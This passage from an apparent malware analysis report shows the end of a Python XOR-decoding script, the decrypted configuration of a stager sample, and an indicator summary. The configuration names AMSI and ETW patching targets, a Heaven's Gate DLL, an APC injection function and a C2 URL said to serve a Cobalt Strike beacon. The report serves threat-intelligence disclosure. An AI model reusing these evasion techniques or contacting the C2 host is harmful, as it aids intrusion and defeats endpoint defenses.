).decode(
'latin-1',
errors='ignore'
)
# Strip trailing null bytes often found in arrays
clean_dec = dec.strip('\x00')
# If the output looks human-readable, print it
if clean_dec and is_printable(clean_dec):
print(f" Valid Key : 0x{key:02X}")
print(f" Decrypted : {clean_dec}")
found_valid = True
if not found_valid:
print(
" [!] No keys produced readable text "
"for this block."
)
print()
if __name__ == "__main
Python Script Output
Note: The above script brute forces all identified XOR keys based on the IL pattern (as shown in YARA rule: WIN_DotNet_Indirect_XOR_Call_IL_Patterns_May26). The output shared below is a concise version to share key findings.
======================================================================
Stager.exe — Extracted Configuration
======================================================================
File : new_decrypted.exe
Size : 16385 bytes
SHA256: 70f225a67847514d82fca342b293adb2f7b5775ed0299f553ae8a4822598d839
ID : OK
┌─ Target username
│ File offset : 0x03800
│ Length : 5 bytes
│ XOR key : 0x6A (106 decimal)
│ Encrypted : 08 18 1f 04 05
│ PLAINTEXT : bruno
└─ Note : [NR5] Stager.exe does not execute if this username is found.
┌─ AMSI bypass target
│ File offset : 0x03820
│ Length : 14 bytes
│ XOR key : 0x2E (46 decimal)
│ Encrypted : 6f 43 5d 47 7d 4d 4f 40 6c 5b 48 48 4b 5c
│ PLAINTEXT : AmsiScanBuffer
└─ Note : AmsiScanBuffer is patched to always return AMSI_RESULT_CLEAN
┌─ ETW bypass target
│ File offset : 0x03830
│ Length : 12 bytes
│ XOR key : 0x21 (33 decimal)
│ Encrypted : 6f 55 75 53 40 42 44 64 57 44 4f 55
│ PLAINTEXT : NtTraceEvent
└─ Note : NtTraceEvent is patched to disable ETW-based EDR telemetry
┌─ Heaven's Gate DLL
│ File offset : 0x03868
│ Length : 9 bytes
│ XOR key : 0x4F (79 decimal)
│ Encrypted : 38 20 38 79 7b 61 2b 23 23
│ PLAINTEXT : wow64.dll
└─ Note : Used for 32→64-bit mode switch to bypass usermode hooks
┌─ APC injection fn
│ File offset : 0x03888
│ Length : 15 bytes
│ XOR key : 0x3A (58 decimal)
│ Encrypted : 6d 5b 52 6b 4f 5f 4f 5f 6f 49 5f 48 7b 4a 59
│ PLAINTEXT : WahQueueUserApc
└─ Note : Winsock internal APC — avoids EDR hooks on QueueUserAPC
┌─ C2 URL
│ File offset : 0x038C8
│ Length : 90 bytes
│ XOR key : 0x77 (119 decimal)
│ Encrypted : 1f 03 03 07 04 4d 58 58 07 16 05 16 13 1e 04 12 04 16 1e 1b 1e 19 10 16 13 01 12 19 03 02 05 12 04 59 14 18 1a 58 14 13 19 58 04 03 16 03 1e 14 58 13 1e 04 03 58 15 02 19 13 1b 12 59 1a 1e 19 59 1d 04 48 03 18 1c 12 19 4a 4f 12 4f 42 40 47 16 47 12 47 13 13 16 14 11 43
│ PLAINTEXT : https://paradisesailingadventures.com/cdn/static/dist/bundle.min.js?token=8e8570a0e0ddacf4
└─ Note : Full download URL for the Cobalt Strike beacon
======================================================================
SUMMARY — IOCs
======================================================================
Target account : bruno
C2 URL : https://paradisesailingadventures.com/cdn/static/dist/bundle.min.js?token=8e8570a0e0ddacf4
C2 domain : paradisesailingadventures.com
Auth token : 8e8570a0e0ddacf4
AMSI target : AmsiScanBuffer
ETW target : NtTraceEvent
Syscall bridge : wow64.dll
Injection fn : WahQueueUserApc
======================================================================
Appendix D: References
- https://cyble.com/blog/tiny-backdoor-goes-undetected-suspected-turla-leveraging-MSBuild-to-evade-detection/